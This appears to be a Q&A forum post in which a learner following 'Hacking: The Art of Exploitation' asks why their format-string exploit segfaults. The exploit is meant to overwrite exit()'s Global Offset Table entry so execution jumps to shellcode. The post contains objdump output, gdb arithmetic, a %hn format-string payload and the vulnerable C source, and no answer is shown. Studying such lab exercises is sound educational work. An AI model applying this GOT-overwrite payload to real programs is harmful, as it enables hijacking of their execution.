2

I am trying to understand how to overwrite the Global Offset Table. On the book "Hacking: The Art of Exploitation". Following the example I get:

objdump  -R ./fmt                                                                           
                                                                                                                    
./fmt:     file format elf32-i386                                                                                   
                                                                                                                    
DYNAMIC RELOCATION RECORDS                                                                                          
OFFSET   TYPE              VALUE                                                                                    
08049ffc R_386_GLOB_DAT    __gmon_start__                                                                           
0804a00c R_386_JUMP_SLOT   printf@GLIBC_2.0                                                                         
0804a010 R_386_JUMP_SLOT   exit@GLIBC_2.0                                                                           
0804a014 R_386_JUMP_SLOT   strlen@GLIBC_2.0                                                                         
0804a018 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0                                                              
0804a01c R_386_JUMP_SLOT   snprintf@GLIBC_2.0   

The book says that if the jump instruction used for the exit() function can be manipulated to direct the execution flow into shellcode instead of the exit() function, the shell will be spawned.

For my program, the actual address of the exit(), stored as a pointer at the memory address is : 0x0804a010.

Then the shellcode is stored in an environment variable and its actual location (e.g 0xbffffe28 ) is used to calculate <var1> <var2> for the following exploit:

\x12\xa0\x04\x08\x10\xa0\x04\x08%<val1>x%4$hn%<val2>x%5$hn

so

$ gdb -q
(gdb) p 0xbfff - 8
$1 = 49143
(gdb) p 0xfe28 - 0xbfff                                                                                             
$2 = 15913
(gdb) quit

Now, when I run the "exploit" I get :

$ ./fmt $(printf "\x12\xa0\x04\x08\x10\xa0\x04\x08")%49143x%4\$hn%15913x%5\$hn             
Segmentation fault (core dumped) 

Could anyone please advise me on what I am doing wrong or missing? Why the address of the shellcode is not written into the address of the exit() function? Thank you

4
  • Could you please make the file in question available or link to it, if it is provided somewhere already. Thanks.
    – 0xC0000022L
    Jan 28, 2023 at 21:11
  • Hi, do you mean the source code or the actual file?
    – LianoQ
    Jan 28, 2023 at 21:22
  • I assumed there was no source, but if there are both, then both. As I wrote: links will work just fine, too.
    – 0xC0000022L
    Jan 29, 2023 at 20:54
  • Ok, here the code : #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char text[1024]; static int test_val = -72; if(argc < 2) { printf("Usage: %s <text to print>\n", argv[0]); exit(0); } strcpy(text, argv[1]); printf("The right way to print user-controlled input:\n"); printf("%s", text); printf("\nThe wrong way to print user-controlled input:\n"); printf(text); printf("\n"); // Debug output printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
    – LianoQ
    Jan 30, 2023 at 8:17

0

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Browse other questions tagged or ask your own question.